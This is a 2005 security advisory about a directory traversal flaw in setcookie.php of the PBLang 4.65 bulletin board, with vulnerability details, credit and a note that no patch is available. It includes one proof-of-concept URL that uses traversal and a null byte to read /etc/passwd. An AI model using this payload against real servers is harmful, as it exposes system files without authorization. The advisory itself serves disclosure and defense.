PBLang Bulletin Board System SetCookie.PHP Directory Traversal Vulnerability

Bugtraq ID:	14765
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 07 2005 12:00AM
Updated:	Sep 07 2005 12:00AM
Credit:	rgod is credited with the discovery of this vulnerability.
Vulnerable:	PBLang PBLang 4.65
Not Vulnerable:

PBLang Bulletin Board System SetCookie.PHP Directory Traversal Vulnerability

PBLang is affected by a directory traversal vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

PBLang Bulletin Board System SetCookie.PHP Directory Traversal Vulnerability

No exploit is required.

The following proof of concept URI is available:
http://www.example.com/pblang/setcookie.php?u=../../../../../etc/passwd%00

PBLang Bulletin Board System SetCookie.PHP Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PBLang Bulletin Board System SetCookie.PHP Directory Traversal Vulnerability

References:

• PBLang Forum Homepage (PBLang)
  
• PBLang 4.65 remote code execution / system information disclosure / cross site s ([email protected])